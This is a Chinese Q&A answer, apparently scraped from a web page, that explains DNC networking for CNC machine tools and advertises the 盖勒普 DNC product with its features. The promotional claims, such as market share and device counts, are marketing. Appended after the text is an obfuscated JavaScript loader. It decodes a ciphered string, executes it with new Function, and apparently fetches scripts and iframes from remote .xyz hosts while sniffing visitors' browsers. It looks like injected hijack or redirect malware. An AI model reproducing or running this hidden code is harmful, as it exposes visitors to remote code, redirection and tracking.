推荐回答(2个)
随着计算机技术的发展,以往使用PRP(纸带阅读穿孔机)、U盘与CNC系统进行NC程序输入/输出的技术,由于保存,管理,容量,可靠性等均存在不足之处,正逐渐被淘汰。同时,企业数控设备的数量越来越多,而传统的单机管理模式因技术手段落后、生产效率低、管理与维护费用高昂等弊端已不能适应企业发展的需要,再加上用户使用了多种信息管理系统,如ERP,PDM,CRM,CAD/CAPP/CAM等,各种系统之间还必须考虑信息共享,以避免信息化孤岛。因此,使用集成式DNC技术对数控设备群进行管理势在必行。
DNC(Distributed Numerical Control)作为数控设备联网管理系统,它的主要功能是通过1台服务器,对生产现场所有的数控设备进行集中联网管理,程序编程人员可以在自己的计算机上进行编程,并上传至DNC服务器指定的目录下,而后现场设备操作者即可通过设备CNC控制器发送“下载(LOAD)”指令,从服务器中下载所需的程序,待程序加工完毕后再通过DNC网络回传至服务器中,由程序管理员或工艺人员进行比较或归档。这种方式大大减少了数控程序的准备时间,消除了人员在工艺室与设备端的奔波,并且可完全确保程序的完整性和可靠性,消除了很多人为导致的“失误”。最重要的是,通过DNC系统,能够实现CAD/CAM和计算机辅助生产管理系统集成,是机械加工自动化的又一种形式。
传统的DNC系统仅仅能实现程序传输的功能。随着信息化技术的发展,目前的DNC系统已经发展为可以集成部分制造执行系统 (manufacturingexecution system,简称MES)功能的系统软件。早在上世纪90年代初,美国盖勒普 DNC系统就赋予DNC更广阔的内涵:生产设备及工位智能化联网管理系统,这也是全球范围内最早且使用最成熟的“物联网”技术——车间内“物联网”。它不仅能够使所有的CNC数控加工中心、智能化工业机器人、自动化生产线PLC工作中心及其它所有的工业设备联网在线,同时还能有效管理生产设备、加工程序和工位信息,实现车间生产设备的网络化管理,使企业的管理水平得到了新的提高。
盖勒普DNC 是基于Windows32位和64位操作系统开发的自动化制造设备及生产信息化管理系统,它赋予传统工业DNC(Distributed Numeric Control)更深更广的应用意义。盖勒普不仅能够使所有的CNC数控加工中心,智能化工业机器人,自动化生产线PLC工作中心和其它所有的工业设备联网在线,同时还能够有效管理设备信息、加工程序和工位等等。盖勒普 DNC 不但可以和盖勒普其他系列产品管理系统无缝集成,还可以与企业第三方信息化管理系统如MRPII/ERP/PDM/CAPP/MES/CAD/CAM等实现高度集成。
为什么选用盖勒普DNC:
盖勒普DNC是一款已经实践二十多年的成熟产品,全球应用案例20多万套。盖勒普DNC并不是到此为止,现在依然始终保持着软件更新与进步。
盖勒普DNC支持使用1台PC就可以同时联网在线4096台设备。
盖勒普DNC可以识别兼容所有数控设备的控制器类型。
盖勒普DNC支持多线程双向传输的上传和下载功能以及高速在线加工功能。
盖勒普DNC支持多种端口的通讯协议,包括RS232、RS422、TCP/IP、FTP、LPT、和PLC等在内的其他通讯协议。
盖勒普DNC能够提供多样性的联网方案(Flex、Flex/1、Flex/N、Flex/W)。
盖勒普DNC提供改善和有效管理您车间数控加工程序的网络平台。
盖勒普DNC拥有您非常熟悉的Office®和Windows® 界面的操作风格,使您可以轻松方便的上手和使用。
盖勒普DNC具有超过100个灵活的命令组件,可以任意组合客户化专有的DNC协议。
盖勒普DNC不仅可以与盖勒普其他系列产品无缝集成,还可以和您现有的企业第三方信息化管理系统及工具软件MRPII/ERP/PDM/CAPP/MES /CAD/CAM等集成,并且支持Access、SQL Sever和Oracle三大开放式关系型数据库。
盖勒普DNC具有独有的后台运行技术和Server Safe™ 网络安全技术。
盖勒普DNC 提供世界顶级工业级品牌并且通用性极强的高性能硬件设备,能足够保证网络传输的可靠性和稳定性。
主要功能:
1.支持同时在线联网多达4096台数控设备
盖勒普DNC 64位系统支持只用一台DNC服务器(中端PC即可)就可以使多达4096台数控设备的同时联网在线并进行多线程(Multi-thread)双向传输,而且它可以使您的数控设备进行可视化分配管理。
2.改善您的车间工作流程
拥有盖勒普DNC,您就不必再吃力得拿着软盘、纸带、笔记本电脑或是老式硬件来下载数控设备上的加工程序。盖勒普DNC提供了一个真正的网络解决方案,当您需要使用程序时可以从服务器直接进行调用,当程序完成现场的加工确认或者进行更改后,又可以返回到你的服务器中进行保存。整个过程将变得更加可靠,每个人都会变得更有效率。
3.DNC Explorer 用户界面
盖勒普DNC采用微软的Office®和Windows® 界面让使用者在操作时变得非常轻松、容易上手。盖勒普DNC界面包括鼠标拖放,右键快捷菜单、剪切、复制、粘贴,状态/工具栏,热键功能、工具按钮和在线帮助。不仅如此,盖勒普DNC还可以客户化设置数控设备的物理配置以及提供更多客户化特性的功能……
4.Remote Request多线程远程请求
通过远程请求功能,可以让每一个操作者通过在制造设备端的简易操作,直接完成与DNC服务器之间的程序调用及通讯,使操作者在设备端就能实现上传、下载自己想要的数控加工程序,避免了操作者在现场与服务器或办公室之间的来回奔波。盖勒普DNC Remote Request 具有实时反馈通讯错误信息的功能,能够与DNC 服务器建立起对话,让操作者在设备端就可以得知通讯不成功的原因,这是盖勒普DNC系统的特色功能,除了Remote Request功能外,盖勒普DNC还具有远程查看文件目录、远程自动命名、远程打印控制和远程E-mail传输以及更多远程功能……
5.盖勒普DNC Connect客户端
盖勒普DNC Connect 为用户提供了一个基于PC用于NC程序管理浏览、编辑和通讯的客户端。盖勒普DNC Connect操作界面直观并具有亲和力,并且具有针对触摸屏应用的大按钮界面。
6.盖勒普DNC文档管理器(Integrated Browsing)
是否为陷入了一大堆杂乱无章的数控程序和生产资源文档而感到烦恼呢?盖勒普DNC的文档管理器能帮助您解决这一切。它能支持在同一窗口中浏览Microsoft Office 文档(包括:DOC、XLS、PPT、MPP、VSD等)还包括.PDF、DXF、DWG、TIF、JPEG、GIF等其他常用的文 档格式。
7.100%网络兼容性
盖勒普DNC支持兼容CNC与您服务器的所有操作系统,比如Window、Linux、Solaris、Mac、VMS和Unix等操作系统。盖勒普DNC可以让您的工业自动化设备灵活得运用有线或者无线以太网协议联网,并且支持网络共享、文件夹拖放等功能。
8.盖勒普DNC系统运行日志
盖勒普DNC具有简单好用和记录详细的日志,分为通信日志和系统运行日志,可以以Excel、Access、HTML和ASCII等形式被保存,方便管理人员进行查询和系统维护。
9.盖勒普DNC强大的在线帮助功能
盖勒普DNC具有方便易用的在线帮助功能,在系统使用过程中,您只需轻轻按下F1键,计算机便会弹出当前应用界面所有功能的详细帮助文档供你浏览查阅。
独特领先技术:
1.Server Safe DNC网络系统安全技术
盖勒普DNC具有Server Safe的服务器安全功能,即使DNC网络在通讯期间发生崩溃,Server Safe功能可以让传输的数据暂时缓存在PC 内存中,使得DNC网络依然能够维持通讯,避免了在DNC传输中因为网络不稳定而造成的传输中断和数据丢失,这些可靠的技术已经成为盖勒普DNC系统在全球行业内技术绝对领先的关键特点之一。
2.盖勒普DNC的后台运行技术
是否担心盖勒普DNC会像其他老的DNC一样不能同时支持多台设备的传输任务?盖勒普DNC能够支持多达4096台设备同时进行通讯任务。运行盖勒普DNC就像运行一个Windows 的后台服务一样,通过计算机的双核或者四核的运行能力,灵活地调整对系统资源的占用,完全能够支持同时处理大量的设备在线通讯,让制造业告别传统的DNC 传输技术。
3.生产现场工作中心数据采集集成(MDC/MES Integration)
盖勒普DNC内嵌生产现场及工位数据采集和设备状态监控数据流接口通道,支持Access、SQL Sever和Oracle三大开放式关系型数据库。MES系统的生产现场数据采集可以实现通过DNC网络直接进入数据库进行存储。目前盖勒普DNC是国内唯一能够与MRPII/ERP/MES有真正数据集成技术能力和应用案例的DNC系统。
4.集成盖勒普CNCEditor
每一个盖勒普DNC的许可都包括一个盖勒普 CNC Editor许可,它可以同步用3D动画展示数控程序的模拟运行。
5.灵活的客户化应用及数据集成接口
盖勒普DNC向用户提供可选项的SDK(Software Development Kit)开发工具包,用于各种相关的应用开发及通讯协议创建。此外还具有功能自定义和系统集成应用的嵌入式编程组件,数据集成接口使DNC应用功能的扩展 在开发能力具备的情况下不受任何限制,帮助用户真正实现:想多远就能走多远。
6.提供支持Email短信通知功能
当你不在现场时,需要了解设备操作人员在生产过程中产生的反馈信息吗?通过盖勒普DNC系统,设备操作人员可以在设备和工位端以命令的方式发送Email短信实时通知你。例如:操作者向立即通告文件已修改、下载或上传文件,设备加工正常或停止运行时间,或当前正在加工零件的有关事件,Email短信通知是一个很显而易见的解决方案。
7.盖勒普DNC条码解决方案
盖勒普DNC系统具备集成化的条码读取和代码识别分析能力,基于DNC系统直接实现条码指令方式的程序传输、数据采集及MES系统任务调用。
8.盖勒普DNC用户权限管理
盖勒普DNC支持管理员和一般用户两种运行模式,系统支持用户和用户管理,同时还可以针对设备、菜单、命令和文件进行使用和访问的权限设置。
盖勒普 DNC全球市场占有率60%以上,在中国近14年的项目实施经验,可以与企业其他信息化系统实现高效集成应用,并拥有丰富的成功案例。适用于各大制造行业,尤其在航空航天、军事工业、兵器制造、装备制造、机械制造、机床工业、汽车工业、医疗器械、电器制造、模具工业、电子科技、教育机构等领域已占据遥遥领先的地位。
希望可以采纳哦!!
2.CNC是数控加工中心的简称,DNC是将计算机和CNC机床联网实时传输进行加工的一种控制方法。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();